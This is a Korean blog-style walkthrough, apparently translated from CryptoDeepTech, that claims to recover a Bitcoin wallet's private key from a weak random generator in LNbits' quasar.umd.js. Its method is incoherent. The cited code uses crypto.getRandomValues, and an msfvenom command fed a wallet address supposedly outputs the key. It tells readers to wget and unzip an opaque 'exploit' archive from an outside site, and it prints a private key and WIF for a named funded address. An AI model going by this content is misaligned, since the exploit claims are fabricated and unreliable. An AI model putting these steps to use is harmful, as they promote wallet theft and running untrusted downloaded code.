Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드로 개인 키를 찾는 방법

크립토 딥 테크

https://youtube.com/watch?v=ZpflbzENAAw%3Fsi%3DdlhzgU6FKaUr-Svt

이 글에서는 스마트폰 애플리케이션  iOS과  BLW를 Android통한 빠른 결제를 지원하는 인기 있는 비트코인 ​​지갑인  (Lightning network) 비트코인 ​​라이트닝 지갑 에 초점을 맞출 것입니다. 안타깝게도 LNbits Node Manager  와  Core Lightning  의 오픈 소스 모바일 애플리케이션의 많은 자율 노드는   다양한 암호화폐 코인의 모든 자금을 잃을 위험이 매우 높습니다.

 일본 회사  Bitcoin Portal 의 개발자  데이비드 셰어스가 많은 문서를  공개했습니다   .

이론적 기반을 살펴보겠습니다.  LNbits  는 다양한 암호화폐 지갑과 함께 작동하는 많은 모바일 애플리케이션을 위한 무료 계정 시스템입니다. 처음에는  … 를 위한 비보관형 및 자율형 노드의  LNbits Node Manager개발로 인해  널리 인기를 얻었 으며, 를 위해 설계  되고   기능이 있습니다  . 자율형 노드를 사용하면 자금을 완벽하게 제어할 수 있으며 (다른 모바일 암호화폐 지갑 앱과 달리) 자금을 직접 관리해야 합니다   .Bitcoin Lightning Wallet (BLW)Bitcoin SPVAndroidiPhoneNode.js

오픈소스  노드 관리자  LNbits는  다음과 같은 여러 가지 문제를 해결합니다.

  • BTC, ETH, LTC, USDT, XLM, BNB동전 등 의 종이 가격 모음 
  • 결제 채널을 여는 데 사용하는 LNbits공개  노드 목록을 유지 관리합니다  .Bitcoin Lightning Wallet (BLW)
  • 결제 경로에 대한 부분 결제를 제공합니다.
  • 결제 채널의 암호화된 백업을 저장합니다.

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

LNbits 노드 관리자는  다음 서비스와 함께 작동합니다.

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

살바도르 게레로 의 사례에 따르면  , LNBits본격적인  비트코인 ​​노드를  설치한 많은 사람이  라즈베리 파이 에서 실행하여  Bitcoin거래 수수료 없이  송수신할  수 있습니다. 이는 모든 암호화폐 지갑이 LNbits동일한  코어 라이트닝 인스턴스에 있는  경우에만 가능합니다   .

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

 일본 회사  Bitcoin Portal 의 개발자  David Shares 는 기술적 문제, 버그, 단점, 비판 및 악용에 빠져 있다는 것을 보여주는 연대순 목록을   게시했습니다  . 분산화를 제공하지 않고 사용자에게 기능적이고 안전하지 않은 과장된 기술입니다.Lightning Network


Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법
https://github.com/davidshares/Lightning-Network/blob/main/README.md

연대순 목록의 모든 자료를 자세히 조사한 후, 우리는  프레임워크의 취약성 과 quasar.umd.js 코드  작업 과정에  주목했습니다.

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법
https://github.com/quasarframework/quasar.git

Quasar는  다양한 암호화폐 지갑을 위한 반응형 웹사이트와 모바일 애플리케이션을 만드는 데 사용할 수 있는  오픈 소스 Vue.js 기반 프레임워크   입니다

소스  Snyk 취약점 데이터베이스 에서 알 수 있듯이 Vue.js의  최신 버전에는   취약점이 포함되어 있어  LNbits v0.11.0 버전이 quasar.umd.js 코드  에서 일련의 순환 오류를 시작할 수 있었습니다. 


Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법
Snyk 취약점 데이터베이스

quasar.umd.js 코드 에 오류가 있습니다  .

  // Use best available PRNG
  var randomBytes = (function () {
    // Node & Browser support
    var lib = typeof crypto !== 'undefined'
      ? crypto
      : (
        typeof window !== 'undefined'
          ? window.msCrypto // IE11
          : void 0
      );

    if (lib !== void 0) {
      if (lib.randomBytes !== void 0) {
        return lib.randomBytes
      }
      if (lib.getRandomValues !== void 0) {
        return function (n) {
          var bytes = new Uint8Array(n);
          lib.getRandomValues(bytes);
          return bytes
        }
      }
    }
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법
GitHub 리포

약한 의사난수 생성기의 경우,  무작위 값에 대한 암호화 강도를 잃기  때문에 비트코인 ​​지갑의  개인 키를 얻고 완전히 확인할 수 있는  (PRNG)기회가 주어집니다  .SEEDlib.getRandomValues

이제 실제적인 부분으로 넘어가겠습니다.

(완성된 파일은  Jupyter Notebook  에서 열고 Google Colab notebook 에 업로드할  수 있습니다  )


https://colab.research.google.com/drive/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법
https://github.com/demining/CryptoDeepTools/tree/main/26BitcoinLightningWalletVulnerability

(PRNG)코드  quasar.umd.js 에서 약한 의사난수 생성기로부터 비트코인 ​​지갑의 개인 키를 추출하는 실제 예를 고려해 보겠습니다. 


비트코인 지갑  : 9월에  미국 달러 2023에 해당하는 금액의 도난이 발생했습니다.  11032.77// 비트코인:0.30412330 BTC

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

Bitcoin_Lightning_Wallet_Vulnerability.ipynb


https://colab.research.google.com  링크를 사용하여  Google Colab 서비스를 열어 보겠습니다 .


Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

클릭  "+"하고  “새 메모장 만들기”를 클릭 하세요.


Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

Google Colab에 Ruby 설치

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

필요한 프로그램을 실행하기 위해 객체 지향 프로그래밍 언어인  Ruby를 설치합니다.


!sudo apt install ruby-full

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

설치 버전을 확인해 보겠습니다.


!ruby --version
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법
Ruby 버전 3.0.2p107(2021-07-07 개정판 0db68f0233) [x86_64-linux-gnu]

'bitcoin-ruby'비트코인 프로토콜/네트워크와 상호작용하기 위한 라이브러리를 설치해 보자 


!gem install bitcoin-ruby

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

'ecdsa'ECDSA(Elliptic Curve Digital Signature Algorithm) 구현을 위한 라이브러리를 설치해 보겠습니다. 


!gem install ecdsa

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

'base58'정수와 이진수를 숫자로 변환하는  라이브러리를 설치해 보겠습니다  base58.


!gem install base58

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

'crypto'바이트 및 기본 암호화 작업을 단순화하기 위한 라이브러리를 설치해 보겠습니다. 


!gem install crypto

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

'config-hash'빅데이터 작업을 간소화하기 위해 라이브러리를 설치해 보겠습니다  .


!gem install config-hash -v 0.9.0

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

Metasploit Framework를 설치하고 MSFVenom을 사용해 보겠습니다.

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

GitHub  에서  Metasploit Framework를 설치  하고 MSFVenom 도구를  사용하여   페이로드를 생성해 보겠습니다.


Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

폴더의 내용을 살펴보자"metasploit-framework"


ls

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

옵션:

!./msfvenom -help 
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

GitHub  코드를 열고 취약한 파일인   quasar.umd.js를 사용해 보겠습니다.


Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

메모에서 우리는  quasar.umd.js 파일에 대한 링크를 봅니다.


코드를 열어 보겠습니다.

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

LNbits , 무료 오픈 소스 Lightning 지갑 및 계정 시스템

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

 Google Colab에 lnbits 설치  :

!git clone https://github.com/lnbits/lnbits.git


엘에스


Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

 cat 유틸리티를 사용하여 취약한 파일인 quasar.umd.js를 열어 보겠습니다. 

cat lnbits/lnbits/static/vendor/quasar.umd.js

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

디렉토리에 따라 폴더를 열어 보겠습니다./modules/exploits/

Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

ExploitDarlenePRO

"ExploitDarlenePRO"카탈로그에서 다운로드  :/modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/21fa0f866f9f5fd22ce045e57f22185de1877dee25ad9d3974b7167a78957680/ExploitDarlenePRO.zip
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

ExploitDarlenePRO.zip유틸리티를 사용하여 콘텐츠 압축 해제 unzip

!unzip ExploitDarlenePRO.zip
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

카탈로그를 살펴보겠습니다./ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

익스플로잇을 실행하려면 다음으로 돌아가겠습니다.Metasploit Framework

cd /

cd content/metasploit-framework/

ls
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

LHOST (Local Host)공격하는 가상 머신 을 식별해야 합니다  IP-address.

명령을 실행해 보겠습니다.

!ip addr
!hostname -I
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

도구를 사용하여 페이로드를 생성해 보겠습니다. MSFVenom

작동을 위해 Bitcoin Wallet:  1qzgi39y33HrM7mHsZ6FaNspHCraJe62F 를 선택하세요.

Libbitcoin Explorer 3.x 라이브러리의 Milk Sad 취약점으로 인해 Bitcoin Wallet(BTC) 사용자로부터 90만 달러가 도난당한 사례
https://btc1.trezor.io/address/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

실행 명령:

!./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

결과:

111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011

결과 바이너리 형식을 파일에 저장해야 합니다.  binary.txt유틸리티를 사용해 보겠습니다.echo

팀:

!echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

이진 형식을 HEX 형식으로 변환하여 비트코인 ​​지갑의 개인 키를 얻습니다.

다음 코드를 사용해 보겠습니다.

binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")

# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
    binaryCode = line.replace(" ", "")
    hexCode = hex(int(binaryCode, 2))
    hexCode = hexCode.replace("0x", "").upper().zfill(4)
    hexFile.write(hexCode + "\n")

# close hexFile
hexFile.close()
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

파일을 열어보겠습니다:  hex.txt

cat hex.txt
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법
7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B

개인 키를 찾았습니다!


모듈을 설치해 보자Bitcoin

!pip3 install bitcoin
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

비트코인 주소의 준수 여부를 확인하기 위해 코드를 실행해 보겠습니다.

from bitcoin import *

with open("hex.txt","r") as f:
    content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()


outfile = open("privtoaddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

파일을 열어 보겠습니다.privtoaddr.txt

cat privtoaddr.txt
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

결과:

7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

맞습니다! 개인 키는 비트코인 ​​지갑에 해당합니다.


bitaddress를 열어     확인해 보겠습니다.

ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
WIF:  L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP
HEX:  7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

https://www.blockchain.com/en/ex plorer/addresses/btc/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F


Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법
Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

BALANCE: $ 11032.77



참고문헌:


이 자료는 CRYPTO DEEP TECH 포털을 위해 만들어졌으며,   BITCOIN 암호화폐의   약한   ECDSA  서명에   대한 데이터 및 타원 곡선 암호화 secp256k1의  재정적 보안을 보장합니다    . 소프트웨어 제작자는 자료 사용에 대한 책임을 지지 않습니다.


원천

텔레그램: https://t.me/cryptodeeptech

비디오: https://youtu.be/ZpflbzENAAw

출처: https://cryptodeeptech.ru/bitcoin-lightning-wallet-vulnerability


Quasar Framework의 Bitcoin Lightning Wallet 취약점에서 바이너리 코드의 개인 키를 찾는 방법

 암호 분석

От